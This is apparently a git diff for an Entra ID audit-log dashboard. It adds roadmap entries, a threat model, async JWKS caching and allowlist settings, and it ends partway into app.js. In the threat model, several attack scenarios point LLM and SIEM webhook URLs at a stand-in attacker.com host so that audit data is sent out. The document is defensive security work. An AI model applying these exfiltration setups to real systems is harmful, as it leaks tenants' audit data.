@@ -59,7 +59,7 @@ Goal: evolve from a polling dashboard into a full security operations tool.
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Phase 5: Intelligence
|
## Phase 5: Intelligence ✅
|
||||||
Goal: add AI-powered analysis and external tool integration.
|
Goal: add AI-powered analysis and external tool integration.
|
||||||
|
|
||||||
- [x] AI feature flag (`AI_FEATURES_ENABLED`) to gate LLM-dependent features
|
- [x] AI feature flag (`AI_FEATURES_ENABLED`) to gate LLM-dependent features
|
||||||
@@ -76,7 +76,56 @@ UI polish (topbar, footer, clickable pills) in v1.6.1–v1.6.4.
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Phase 6: Multi-Tenancy (Premium) ⏸️
|
## Phase 6: Security Hardening ✅
|
||||||
|
Goal: address penetration test findings and threat model gaps.
|
||||||
|
|
||||||
|
- [x] Fix CORS credentials leak (v1.7.12)
|
||||||
|
- [x] Add security headers (X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy) (v1.7.12)
|
||||||
|
- [x] Make rate limiter fail-closed on Redis failure (v1.7.12)
|
||||||
|
- [x] Disable OpenAPI docs by default (v1.7.12)
|
||||||
|
- [x] Hide tenant_id/client_id from config endpoint when auth disabled (v1.7.12)
|
||||||
|
- [x] Validate webhook validationToken before echo (v1.7.12)
|
||||||
|
- [x] Gate `/metrics` behind IP allowlist (v1.7.12)
|
||||||
|
- [x] Add LLM domain allowlist (`LLM_ALLOWED_DOMAINS`) (v1.7.14)
|
||||||
|
- [x] Add SIEM webhook SSRF guard + domain allowlist (v1.7.14)
|
||||||
|
- [x] Add SRI hashes to CDN scripts (v1.7.14)
|
||||||
|
- [x] Add startup warning for auth misconfiguration (v1.7.14)
|
||||||
|
- [x] Add Azure Key Vault integration for secrets storage (v1.7.14)
|
||||||
|
- [x] Internal penetration test + threat model documentation
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Phase 7.5: Frontend Modernization 📋
|
||||||
|
Goal: eliminate `unsafe-eval` from the Content Security Policy by migrating from Alpine.js to a compiled frontend framework.
|
||||||
|
|
||||||
|
Status: **Planned**. Current Alpine.js requires `unsafe-eval` because it uses `new Function()` to evaluate attribute expressions at runtime. A compiled framework evaluates all expressions at build time — the browser only receives static JS, making a fully clean CSP (`script-src 'self'`) possible.
|
||||||
|
|
||||||
|
### Recommended approach: Vue 3 + Vite
|
||||||
|
Alpine.js was inspired by Vue, so the migration is largely mechanical:
|
||||||
|
|
||||||
|
| Alpine.js | Vue 3 |
|
||||||
|
|-----------|-------|
|
||||||
|
| `x-data="aocApp()"` | `<script setup>` or `createApp(aocApp)` |
|
||||||
|
| `x-text`, `x-show`, `x-if`, `x-for` | `v-text`, `v-show`, `v-if`, `v-for` |
|
||||||
|
| `x-model`, `x-html` | `v-model`, `v-html` |
|
||||||
|
| `@click="method()"` | `@click="method()"` (identical) |
|
||||||
|
|
||||||
|
The `app.js` logic (`aocApp()` function body, ~820 lines) translates almost directly.
|
||||||
|
The CDN dependencies on `cdn.jsdelivr.net` and `alcdn.msauth.net` can be dropped:
|
||||||
|
MSAL can be bundled via npm, and the final CSP becomes `script-src 'self'` only.
|
||||||
|
|
||||||
|
### Effort estimate
|
||||||
|
- Vite + Vue 3 project setup: ~2–3 hours
|
||||||
|
- Template migration (HTML directives): ~4–6 hours
|
||||||
|
- `app.js` → Vue component: ~2–3 hours
|
||||||
|
- MSAL integration via npm: ~1 hour
|
||||||
|
- Testing + polish: ~2–4 hours
|
||||||
|
|
||||||
|
**Total: ~1–2 days**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Phase 7: Multi-Tenancy (Premium) ⏸️
|
||||||
Goal: allow MSPs to manage multiple client tenants from a single deployment.
|
Goal: allow MSPs to manage multiple client tenants from a single deployment.
|
||||||
|
|
||||||
Status: **Planned — not started**. Architecture designed, pending validation of core features (SIEM export, alerting) in production first.
|
Status: **Planned — not started**. Architecture designed, pending validation of core features (SIEM export, alerting) in production first.
|
||||||
@@ -88,10 +137,10 @@ Status: **Planned — not started**. Architecture designed, pending validation o
|
|||||||
- Super-admin role for MSP staff to access all tenants
|
- Super-admin role for MSP staff to access all tenants
|
||||||
|
|
||||||
### Implementation phases
|
### Implementation phases
|
||||||
- **Phase 6.1** (2–3 days): Tenant model & registry, tenant-aware data layer, per-tenant Graph API auth
|
- **Phase 7.1** (2–3 days): Tenant model & registry, tenant-aware data layer, per-tenant Graph API auth
|
||||||
- **Phase 6.2** (1 day): Tenant-scoped API routes, tenant-specific config endpoints
|
- **Phase 7.2** (1 day): Tenant-scoped API routes, tenant-specific config endpoints
|
||||||
- **Phase 6.3** (2 days): Frontend tenant switcher, tenant name display, admin page
|
- **Phase 7.3** (2 days): Frontend tenant switcher, tenant name display, admin page
|
||||||
- **Phase 6.4** (1 day): License gating — signed JWT `LICENSE_KEY` gates multi-tenant mode
|
- **Phase 7.4** (1 day): License gating — signed JWT `LICENSE_KEY` gates multi-tenant mode
|
||||||
|
|
||||||
### Licensing model
|
### Licensing model
|
||||||
- Single-tenant: remains MIT/free
|
- Single-tenant: remains MIT/free
|
||||||
|
|||||||
@@ -0,0 +1,321 @@
|
|||||||
|
# AOC Threat Model — v1.7.13
|
||||||
|
|
||||||
|
**Date:** 2026-04-27
|
||||||
|
**Scope:** Entra ID / Microsoft Graph integration, token handling, data flows, external dependencies
|
||||||
|
**Assumptions:** Deployment is Docker Compose behind nginx reverse proxy; `AUTH_ENABLED=true`; `AI_FEATURES_ENABLED` may be true or false.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Attack Surface Map
|
||||||
|
|
||||||
|
```
|
||||||
|
┌─────────────────────────────────────────────────────────────────────────────┐
|
||||||
|
│ ATTACKER │
|
||||||
|
│ │ │ │ │
|
||||||
|
│ ▼ ▼ ▼ │
|
||||||
|
│ ┌─────────────┐ ┌──────────────┐ ┌─────────────────┐ │
|
||||||
|
│ │ Frontend │ │ API │ │ Webhook │ │
|
||||||
|
│ │ (CDN JS) │ │ (/api/*) │ │ (/api/webhooks)│ │
|
||||||
|
│ └──────┬──────┘ └──────┬───────┘ └────────┬────────┘ │
|
||||||
|
│ │ │ │ │
|
||||||
|
│ ▼ ▼ ▼ │
|
||||||
|
│ ┌─────────────────────────────────────────────────────────────┐ │
|
||||||
|
│ │ AOC BACKEND │ │
|
||||||
|
│ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │
|
||||||
|
│ │ │ Auth │ │ Events │ │ Fetch │ │ Ask/LLM │ │ │
|
||||||
|
│ │ │ (JWT) │ │ (Mongo) │ │ (Graph) │ │ (HTTP) │ │ │
|
||||||
|
│ │ └────┬─────┘ └────┬─────┘ └────┬─────┘ └────┬─────┘ │ │
|
||||||
|
│ │ │ │ │ │ │ │
|
||||||
|
│ │ ▼ ▼ ▼ ▼ │ │
|
||||||
|
│ │ ┌─────────────────────────────────────────────────────┐ │ │
|
||||||
|
│ │ │ SECRETS / CREDENTIALS │ │ │
|
||||||
|
│ │ │ CLIENT_SECRET │ LLM_API_KEY │ MONGO_PASSWORD │ │ │
|
||||||
|
│ │ └─────────────────────────────────────────────────────┘ │ │
|
||||||
|
│ └─────────────────────────────────────────────────────────────┘ │
|
||||||
|
│ │ │ │ │
|
||||||
|
│ ▼ ▼ ▼ │
|
||||||
|
│ ┌─────────────┐ ┌──────────────┐ ┌─────────────────┐ │
|
||||||
|
│ │ Microsoft │ │ LLM API │ │ SIEM Webhook │ │
|
||||||
|
│ │ Graph API │ │ (OpenAI/ │ │ (optional) │ │
|
||||||
|
│ │ │ │ Azure) │ │ │ │
|
||||||
|
│ └─────────────┘ └──────────────┘ └─────────────────┘ │
|
||||||
|
└─────────────────────────────────────────────────────────────────────────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Entra App Registration Abuse — HIGH
|
||||||
|
|
||||||
|
### 1.1 Client Credentials Leak = Full Tenant Read
|
||||||
|
|
||||||
|
**How it works:**
|
||||||
|
- AOC uses `client_credentials` flow (`graph/auth.py`)
|
||||||
|
- `CLIENT_ID` + `CLIENT_SECRET` are exchanged for an access token at `login.microsoftonline.com`
|
||||||
|
- The token has `https://graph.microsoft.com/.default` scope
|
||||||
|
- This grants **all application permissions** configured in the Entra app registration
|
||||||
|
|
||||||
|
**Typical permissions:**
|
||||||
|
- `Directory.Read.All` — read all users, groups, devices, roles
|
||||||
|
- `AuditLog.Read.All` — read all audit logs
|
||||||
|
- `DeviceManagementManagedDevices.Read.All` — read all Intune devices
|
||||||
|
|
||||||
|
**Attack scenario:**
|
||||||
|
1. Attacker gains read access to `.env` or the Docker container filesystem
|
||||||
|
2. Attacker calls the token endpoint directly with the leaked `CLIENT_ID`/`CLIENT_SECRET`
|
||||||
|
3. Attacker receives a Graph API access token valid for ~1 hour
|
||||||
|
4. Attacker can query ALL tenant data independently of AOC
|
||||||
|
|
||||||
|
**Impact:** Complete tenant data exfiltration — users, groups, devices, audit logs, mailboxes (if `Exchange.Read` granted).
|
||||||
|
|
||||||
|
**Mitigation in place:** None. The backend needs these permissions to function.
|
||||||
|
|
||||||
|
**Recommendation:**
|
||||||
|
- Store `CLIENT_SECRET` in a secret manager (Azure Key Vault, HashiCorp Vault) rather than `.env`
|
||||||
|
- Use short-lived certificates instead of long-lived secrets for app authentication
|
||||||
|
- Monitor Entra sign-in logs for anomalous `client_credentials` token requests
|
||||||
|
- Restrict app registration permissions to the absolute minimum (e.g., `AuditLog.Read.All` + `Directory.Read.All` only)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 1.2 No Scope Restriction on Graph Token
|
||||||
|
|
||||||
|
**Finding:** `get_access_token()` always requests `https://graph.microsoft.com/.default` — the full permission set. There's no mechanism to request narrower scopes for specific operations.
|
||||||
|
|
||||||
|
**Impact:** If the app registration has 10 permissions, every token has all 10. A bug in one code path could expose data from all 10 permission areas.
|
||||||
|
|
||||||
|
**Recommendation:** Not easily fixable without splitting into multiple app registrations. Document as accepted risk.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Authentication & Token Validation — MEDIUM
|
||||||
|
|
||||||
|
### 2.1 JWKS Fetch Without TLS Certificate Validation Hardening
|
||||||
|
|
||||||
|
**Finding:** `_get_jwks()` fetches OIDC configuration and JWKS from `login.microsoftonline.com` using standard `requests` TLS validation. No certificate pinning or CA bundle restriction.
|
||||||
|
|
||||||
|
**Attack scenario (advanced):**
|
||||||
|
1. Attacker compromises DNS or a network hop between AOC and Microsoft
|
||||||
|
2. Attacker serves a fake JWKS endpoint with their own public key
|
||||||
|
3. Attacker issues a forged JWT signed with their private key
|
||||||
|
4. AOC validates the forged JWT against the attacker's public key
|
||||||
|
5. Attacker gains authenticated access
|
||||||
|
|
||||||
|
**Likelihood:** Very low (requires DNS compromise or nation-state-level interception).
|
||||||
|
|
||||||
|
**Mitigation:** Standard TLS validation is in place. For high-security environments, consider pinning the `login.microsoftonline.com` certificate thumbprint.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 2.2 Missing `nbf` / `iat` Claim Verification
|
||||||
|
|
||||||
|
**Finding:** `_decode_token()` verifies `exp`, `tid`, `iss`, and `aud` but does not check `nbf` (not before) or `iat` (issued at) claims.
|
||||||
|
|
||||||
|
**Impact:** A token used before its validity period (`nbf`) or with a suspicious future `iat` would be accepted. Minor issue — MSAL tokens are well-formed in practice.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 2.3 Role/Group Gating Defaults to "Allow All"
|
||||||
|
|
||||||
|
**Finding:** In `auth.py`:
|
||||||
|
```python
|
||||||
|
def _allowed(claims, allowed_roles, allowed_groups):
|
||||||
|
if not allowed_roles and not allowed_groups:
|
||||||
|
return True
|
||||||
|
```
|
||||||
|
|
||||||
|
**Impact:** If `AUTH_ENABLED=true` but `AUTH_ALLOWED_ROLES` and `AUTH_ALLOWED_GROUPS` are left empty (the default), **every Entra user in the tenant** can authenticate and use AOC. This is a common misconfiguration.
|
||||||
|
|
||||||
|
**Recommendation:** Add a startup warning when auth is enabled but no roles/groups are configured. Consider changing the default to deny-all.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 2.4 Privacy Service Role Gating Also Defaults to "Allow All"
|
||||||
|
|
||||||
|
**Finding:** `user_can_access_privacy_services()` returns `True` if `PRIVACY_SERVICE_ROLES` is empty. If an admin configures `PRIVACY_SERVICES` (e.g., `Exchange`) but forgets to set `PRIVACY_SERVICE_ROLES`, all users see all privacy data.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Data Exfiltration Paths — HIGH
|
||||||
|
|
||||||
|
### 3.1 LLM Endpoint as Data Exfiltration Channel
|
||||||
|
|
||||||
|
**Finding:** When `AI_FEATURES_ENABLED=true` and `LLM_API_KEY` is set:
|
||||||
|
- The `/api/ask` endpoint sends audit event data (actors, targets, operations, summaries) to the configured LLM API
|
||||||
|
- `_validate_llm_url()` blocks private IPs but does NOT restrict the domain to an allowlist
|
||||||
|
- Any HTTPS URL is accepted
|
||||||
|
|
||||||
|
**Attack scenario:**
|
||||||
|
1. Attacker gains `.env` write access (or container filesystem access)
|
||||||
|
2. Attacker changes `LLM_BASE_URL` to `https://attacker.com/fake-llm`
|
||||||
|
3. Attacker sends an `/api/ask` request like "show me all events"
|
||||||
|
4. AOC queries MongoDB and sends up to `LLM_MAX_EVENTS` (default 200) events to the attacker's URL
|
||||||
|
5. Attacker receives structured audit data including actor names, UPNs, device names, operation details
|
||||||
|
|
||||||
|
**Impact:** Up to 200 audit events exfiltrated per API call. With pagination, an attacker could exfiltrate the entire database.
|
||||||
|
|
||||||
|
**Mitigation in place:** SSRF guard blocks private IPs and localhost.
|
||||||
|
|
||||||
|
**Gap:** No domain allowlist. An attacker-controlled public HTTPS endpoint is accepted.
|
||||||
|
|
||||||
|
**Recommendation:**
|
||||||
|
- Add `LLM_ALLOWED_DOMAINS` config (e.g., `api.openai.com,*.openai.azure.com`)
|
||||||
|
- Validate `LLM_BASE_URL` against this allowlist at startup and on every request
|
||||||
|
- Log all LLM requests with event counts sent
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 3.2 SIEM Webhook as Real-Time Exfiltration Channel
|
||||||
|
|
||||||
|
**Finding:** `siem.py` forwards every normalized event to `SIEM_WEBHOOK_URL` during ingestion:
|
||||||
|
```python
|
||||||
|
def forward_event(event):
|
||||||
|
if not SIEM_ENABLED or not SIEM_WEBHOOK_URL:
|
||||||
|
return
|
||||||
|
requests.post(SIEM_WEBHOOK_URL, json=event, timeout=10)
|
||||||
|
```
|
||||||
|
|
||||||
|
**Gap:** No URL validation at all. Unlike the LLM endpoint, the SIEM webhook has NO SSRF guard.
|
||||||
|
|
||||||
|
**Attack scenario:**
|
||||||
|
1. Attacker sets `SIEM_ENABLED=true` and `SIEM_WEBHOOK_URL=https://attacker.com/collect`
|
||||||
|
2. Every new audit event fetched from Graph is immediately POSTed to the attacker's URL
|
||||||
|
3. Attacker receives real-time stream of all tenant audit events
|
||||||
|
|
||||||
|
**Impact:** Real-time, continuous data exfiltration of all audit events.
|
||||||
|
|
||||||
|
**Recommendation:**
|
||||||
|
- Add the same SSRF validation to `SIEM_WEBHOOK_URL` that exists for `LLM_BASE_URL`
|
||||||
|
- Add `SIEM_ALLOWED_DOMAINS` config
|
||||||
|
- Log SIEM forwarding failures prominently
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 3.3 Export Features (JSON/CSV)
|
||||||
|
|
||||||
|
**Finding:** The frontend has `exportJSON()` and `exportCSV()` functions that download all currently filtered events. These are authenticated but not rate-limited separately from `/api/events`.
|
||||||
|
|
||||||
|
**Impact:** A compromised account can export large batches of events. However, this requires authentication and is bounded by the 500-event page size limit.
|
||||||
|
|
||||||
|
**Risk level:** LOW — requires valid auth and is noisy.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Webhook Abuse — MEDIUM
|
||||||
|
|
||||||
|
### 4.1 Graph Change Notification Webhook
|
||||||
|
|
||||||
|
**Finding:** `/api/webhooks/graph` receives Microsoft Graph change notifications:
|
||||||
|
- Echoes `validationToken` for subscription handshake
|
||||||
|
- Accepts notifications with optional `clientState` validation
|
||||||
|
- `WEBHOOK_CLIENT_SECRET` is empty by default
|
||||||
|
|
||||||
|
**Attack scenario 1 — Subscription hijacking:**
|
||||||
|
1. Attacker discovers the webhook URL (via API enumeration or guess)
|
||||||
|
2. Attacker creates a Graph subscription pointing to the AOC webhook URL
|
||||||
|
3. Attacker receives change notifications for the subscribed resource
|
||||||
|
|
||||||
|
**Mitigation:** Notifications without matching `clientState` are rejected when `WEBHOOK_CLIENT_SECRET` is configured. But it's empty by default.
|
||||||
|
|
||||||
|
**Attack scenario 2 — Validation token abuse:**
|
||||||
|
1. Attacker sends a POST to `/api/webhooks/graph?validationToken=<arbitrary content>`
|
||||||
|
2. AOC echoes the token back as `text/plain`
|
||||||
|
3. Could be used for cache poisoning or response splitting
|
||||||
|
|
||||||
|
**Mitigation:** Length and ASCII validation added in v1.7.12.
|
||||||
|
|
||||||
|
**Recommendation:**
|
||||||
|
- Require `WEBHOOK_CLIENT_SECRET` to be set in production
|
||||||
|
- Document that the webhook endpoint should NOT be exposed to the public internet
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Supply Chain — MEDIUM
|
||||||
|
|
||||||
|
### 5.1 CDN Scripts Without Subresource Integrity (SRI)
|
||||||
|
|
||||||
|
**Finding:** The frontend loads two external scripts without SRI hashes:
|
||||||
|
```html
|
||||||
|
<script defer src="https://cdn.jsdelivr.net/npm/alpinejs@3.x.x/dist/cdn.min.js"></script>
|
||||||
|
<script src="https://alcdn.msauth.net/browser/2.37.0/js/msal-browser.min.js" crossorigin="anonymous"></script>
|
||||||
|
```
|
||||||
|
|
||||||
|
**Attack scenario:**
|
||||||
|
1. `cdn.jsdelivr.net` or `alcdn.msauth.net` is compromised (supply chain attack)
|
||||||
|
2. Malicious JavaScript is served instead of the legitimate library
|
||||||
|
3. Malicious script can steal MSAL tokens, modify API requests, or exfiltrate data
|
||||||
|
|
||||||
|
**Impact:** Complete frontend compromise — token theft, data exfiltration, UI spoofing.
|
||||||
|
|
||||||
|
**Recommendation:**
|
||||||
|
- Add SRI hashes to both script tags:
|
||||||
|
```html
|
||||||
|
<script defer src="..." integrity="sha384-..." crossorigin="anonymous"></script>
|
||||||
|
```
|
||||||
|
- Or vendor the JS files and serve them from the same origin
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Privilege Escalation — MEDIUM
|
||||||
|
|
||||||
|
### 6.1 Application Permissions Bypass User Boundaries
|
||||||
|
|
||||||
|
**Finding:** Because AOC uses application permissions (not delegated permissions), the backend can read audit logs for ALL users, not just the authenticated user. The privacy service filtering (`PRIVACY_SERVICES`) is the only boundary — and it's opt-in.
|
||||||
|
|
||||||
|
**Impact:** A user with minimal Entra permissions (e.g., a regular user who can authenticate) can view audit logs for the entire tenant if:
|
||||||
|
- `PRIVACY_SERVICES` is not configured, OR
|
||||||
|
- `PRIVACY_SERVICE_ROLES` is not configured
|
||||||
|
|
||||||
|
**Recommendation:**
|
||||||
|
- Document that AOC should be restricted to admin/security roles via `AUTH_ALLOWED_ROLES`
|
||||||
|
- Consider adding per-user event filtering (only show events where the authenticated user is the actor or target)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Miscellaneous Vectors — LOW
|
||||||
|
|
||||||
|
### 7.1 Token Cache in Memory
|
||||||
|
|
||||||
|
**Finding:** `_TOKEN_CACHE` in `graph/auth.py` is an in-memory dictionary. If an attacker gains code execution in the Python process, they can read the cache or call `get_access_token()` directly.
|
||||||
|
|
||||||
|
**Impact:** Attacker with code execution can get Graph API tokens. But if they have code execution, they already have `CLIENT_SECRET` from memory or `.env`.
|
||||||
|
|
||||||
|
### 7.2 MongoDB Connection String
|
||||||
|
|
||||||
|
**Finding:** `MONGO_URI` contains credentials. If an attacker gains filesystem access, they can connect directly to MongoDB and bypass all AOC auth/privacy controls.
|
||||||
|
|
||||||
|
**Mitigation:** MongoDB is internal to Docker network (not exposed to host in production compose file).
|
||||||
|
|
||||||
|
### 7.3 Audit Trail Log Injection
|
||||||
|
|
||||||
|
**Finding:** `audit_trail.log_action()` stores actions in MongoDB. The `details` dict could contain user-controlled data (e.g., filter values). If the audit log is ever rendered without escaping, this could lead to XSS.
|
||||||
|
|
||||||
|
**Risk level:** LOW — audit logs are not currently rendered in the UI.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Risk Summary
|
||||||
|
|
||||||
|
| Vector | Severity | Likelihood | Requires |
|
||||||
|
|--------|----------|------------|----------|
|
||||||
|
| Client secret leak → full tenant read | **HIGH** | Medium | `.env` or container access |
|
||||||
|
| LLM endpoint hijacking → data exfil | **HIGH** | Low | `.env` write access |
|
||||||
|
| SIEM webhook hijacking → real-time exfil | **HIGH** | Low | `.env` write access |
|
||||||
|
| CDN compromise → frontend token theft | **MEDIUM** | Low | Supply chain attack |
|
||||||
|
| Role gating misconfig → all users access | **MEDIUM** | High | Misconfiguration |
|
||||||
|
| Webhook subscription hijacking | **MEDIUM** | Low | URL discovery |
|
||||||
|
| DNS compromise → fake JWKS | **MEDIUM** | Very low | Network compromise |
|
||||||
|
| Application permissions bypass boundaries | **MEDIUM** | High | Default config |
|
||||||
|
| Token replay | LOW | Low | Token theft |
|
||||||
|
| Audit log injection | LOW | Low | Filter manipulation |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Immediate Recommendations
|
||||||
|
|
||||||
|
1. **Add LLM domain allowlist** (`LLM_ALLOWED_DOMAINS`) and validate at startup
|
||||||
|
2. **Add SIEM SSRF guard** — reuse `_validate_llm_url()` for `SIEM_WEBHOOK_URL`
|
||||||
|
3. **Add SRI hashes** to CDN script tags, or vendor the libraries
|
||||||
|
4. **Add startup warning** when auth is enabled but no `AUTH_ALLOWED_ROLES`/`AUTH_ALLOWED_GROUPS` configured
|
||||||
|
5. **Document webhook security** — require `WEBHOOK_CLIENT_SECRET` in production
|
||||||
|
6. **Consider Key Vault integration** for `CLIENT_SECRET` and `LLM_API_KEY`
|
||||||
|
7. **Add per-user filtering option** — restrict events to those involving the authenticated user
|
||||||
+27
-11
@@ -1,4 +1,6 @@
|
|||||||
|
import asyncio
|
||||||
import contextvars
|
import contextvars
|
||||||
|
import threading
|
||||||
import time
|
import time
|
||||||
|
|
||||||
import requests
|
import requests
|
||||||
@@ -20,23 +22,37 @@ from jwt.algorithms import RSAAlgorithm
|
|||||||
_auth_context: contextvars.ContextVar[dict | None] = contextvars.ContextVar("auth_context", default=None)
|
_auth_context: contextvars.ContextVar[dict | None] = contextvars.ContextVar("auth_context", default=None)
|
||||||
|
|
||||||
JWKS_CACHE = {"exp": 0, "keys": []}
|
JWKS_CACHE = {"exp": 0, "keys": []}
|
||||||
|
_jwks_lock = threading.Lock()
|
||||||
logger = structlog.get_logger("aoc.auth")
|
logger = structlog.get_logger("aoc.auth")
|
||||||
|
|
||||||
|
|
||||||
def _get_jwks():
|
def _fetch_jwks_blocking() -> list:
|
||||||
now = time.time()
|
"""Fetch JWKS from Microsoft — runs in a thread, never in the event loop."""
|
||||||
if JWKS_CACHE["keys"] and JWKS_CACHE["exp"] > now:
|
|
||||||
return JWKS_CACHE["keys"]
|
|
||||||
|
|
||||||
oidc = requests.get(
|
oidc = requests.get(
|
||||||
f"https://login.microsoftonline.com/{AUTH_TENANT_ID}/v2.0/.well-known/openid-configuration",
|
f"https://login.microsoftonline.com/{AUTH_TENANT_ID}/v2.0/.well-known/openid-configuration",
|
||||||
timeout=10,
|
timeout=10,
|
||||||
).json()
|
).json()
|
||||||
jwks_uri = oidc["jwks_uri"]
|
jwks_uri = oidc["jwks_uri"]
|
||||||
keys = requests.get(jwks_uri, timeout=10).json()["keys"]
|
return requests.get(jwks_uri, timeout=10).json()["keys"]
|
||||||
JWKS_CACHE["keys"] = keys
|
|
||||||
JWKS_CACHE["exp"] = now + 60 * 60 # cache 1h
|
|
||||||
return keys
|
def _get_jwks():
|
||||||
|
now = time.time()
|
||||||
|
with _jwks_lock:
|
||||||
|
if JWKS_CACHE["keys"] and JWKS_CACHE["exp"] > now:
|
||||||
|
return JWKS_CACHE["keys"]
|
||||||
|
keys = _fetch_jwks_blocking()
|
||||||
|
JWKS_CACHE["keys"] = keys
|
||||||
|
JWKS_CACHE["exp"] = now + 60 * 60 # cache 1h
|
||||||
|
return keys
|
||||||
|
|
||||||
|
|
||||||
|
async def _get_jwks_async() -> list:
|
||||||
|
"""Non-blocking JWKS fetch: return from cache or refresh in a thread pool."""
|
||||||
|
now = time.time()
|
||||||
|
if JWKS_CACHE["keys"] and JWKS_CACHE["exp"] > now:
|
||||||
|
return JWKS_CACHE["keys"]
|
||||||
|
return await asyncio.to_thread(_get_jwks)
|
||||||
|
|
||||||
|
|
||||||
def _allowed(claims: dict, allowed_roles: set[str], allowed_groups: set[str]) -> bool:
|
def _allowed(claims: dict, allowed_roles: set[str], allowed_groups: set[str]) -> bool:
|
||||||
@@ -96,7 +112,7 @@ def user_can_access_privacy_services(claims: dict) -> bool:
|
|||||||
return bool(user_roles.intersection(PRIVACY_SERVICE_ROLES))
|
return bool(user_roles.intersection(PRIVACY_SERVICE_ROLES))
|
||||||
|
|
||||||
|
|
||||||
def require_auth(authorization: str | None = Header(None)):
|
async def require_auth(authorization: str | None = Header(None)):
|
||||||
if not AUTH_ENABLED:
|
if not AUTH_ENABLED:
|
||||||
user = {"sub": "anonymous"}
|
user = {"sub": "anonymous"}
|
||||||
_auth_context.set(user)
|
_auth_context.set(user)
|
||||||
@@ -106,7 +122,7 @@ def require_auth(authorization: str | None = Header(None)):
|
|||||||
raise HTTPException(status_code=401, detail="Missing bearer token")
|
raise HTTPException(status_code=401, detail="Missing bearer token")
|
||||||
|
|
||||||
token = authorization.split(" ", 1)[1]
|
token = authorization.split(" ", 1)[1]
|
||||||
jwks = _get_jwks()
|
jwks = await _get_jwks_async()
|
||||||
claims = _decode_token(token, jwks)
|
claims = _decode_token(token, jwks)
|
||||||
|
|
||||||
if not _allowed(claims, AUTH_ALLOWED_ROLES, AUTH_ALLOWED_GROUPS):
|
if not _allowed(claims, AUTH_ALLOWED_ROLES, AUTH_ALLOWED_GROUPS):
|
||||||
|
|||||||
+28
-1
@@ -1,4 +1,10 @@
|
|||||||
from pydantic_settings import BaseSettings, SettingsConfigDict
|
from secrets_manager import load_key_vault_secrets
|
||||||
|
|
||||||
|
# Pre-load Azure Key Vault secrets into os.environ before pydantic-settings reads them.
|
||||||
|
# This is a no-op if AZURE_KEY_VAULT_NAME is not set.
|
||||||
|
load_key_vault_secrets()
|
||||||
|
|
||||||
|
from pydantic_settings import BaseSettings, SettingsConfigDict # noqa: E402
|
||||||
|
|
||||||
|
|
||||||
class Settings(BaseSettings):
|
class Settings(BaseSettings):
|
||||||
@@ -76,6 +82,19 @@ class Settings(BaseSettings):
|
|||||||
RATE_LIMIT_REQUESTS: int = 120
|
RATE_LIMIT_REQUESTS: int = 120
|
||||||
RATE_LIMIT_WINDOW_SECONDS: int = 60
|
RATE_LIMIT_WINDOW_SECONDS: int = 60
|
||||||
|
|
||||||
|
# Security / docs exposure
|
||||||
|
DOCS_ENABLED: bool = False
|
||||||
|
METRICS_ALLOWED_IPS: str = "127.0.0.1,::1,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
|
||||||
|
|
||||||
|
# LLM endpoint restriction (comma-separated domains, e.g. "api.openai.com,*.openai.azure.com")
|
||||||
|
LLM_ALLOWED_DOMAINS: str = ""
|
||||||
|
|
||||||
|
# SIEM webhook restriction (comma-separated domains)
|
||||||
|
SIEM_ALLOWED_DOMAINS: str = ""
|
||||||
|
|
||||||
|
# Optional Azure Key Vault integration for secrets
|
||||||
|
AZURE_KEY_VAULT_NAME: str = ""
|
||||||
|
|
||||||
|
|
||||||
_settings = Settings()
|
_settings = Settings()
|
||||||
|
|
||||||
@@ -127,3 +146,11 @@ WEBHOOK_CLIENT_SECRET = _settings.WEBHOOK_CLIENT_SECRET
|
|||||||
RATE_LIMIT_ENABLED = _settings.RATE_LIMIT_ENABLED
|
RATE_LIMIT_ENABLED = _settings.RATE_LIMIT_ENABLED
|
||||||
RATE_LIMIT_REQUESTS = _settings.RATE_LIMIT_REQUESTS
|
RATE_LIMIT_REQUESTS = _settings.RATE_LIMIT_REQUESTS
|
||||||
RATE_LIMIT_WINDOW_SECONDS = _settings.RATE_LIMIT_WINDOW_SECONDS
|
RATE_LIMIT_WINDOW_SECONDS = _settings.RATE_LIMIT_WINDOW_SECONDS
|
||||||
|
|
||||||
|
DOCS_ENABLED = _settings.DOCS_ENABLED
|
||||||
|
METRICS_ALLOWED_IPS = _settings.METRICS_ALLOWED_IPS
|
||||||
|
|
||||||
|
LLM_ALLOWED_DOMAINS = [d.strip().lower() for d in _settings.LLM_ALLOWED_DOMAINS.split(",") if d.strip()]
|
||||||
|
SIEM_ALLOWED_DOMAINS = [d.strip().lower() for d in _settings.SIEM_ALLOWED_DOMAINS.split(",") if d.strip()]
|
||||||
|
|
||||||
|
AZURE_KEY_VAULT_NAME = _settings.AZURE_KEY_VAULT_NAME
|
||||||
|
|||||||
@@ -0,0 +1,820 @@
|
|||||||
|
function aocApp() {
|
||||||
|
return {
|
||||||
|
events: [],
|
||||||
|
sourceHealth: [],
|
||||||
|
statusText: '',
|
||||||
|
countText: '',
|
||||||
|
cursorStack: [],
|
||||||
|
nextCursor: null,
|
||||||
|
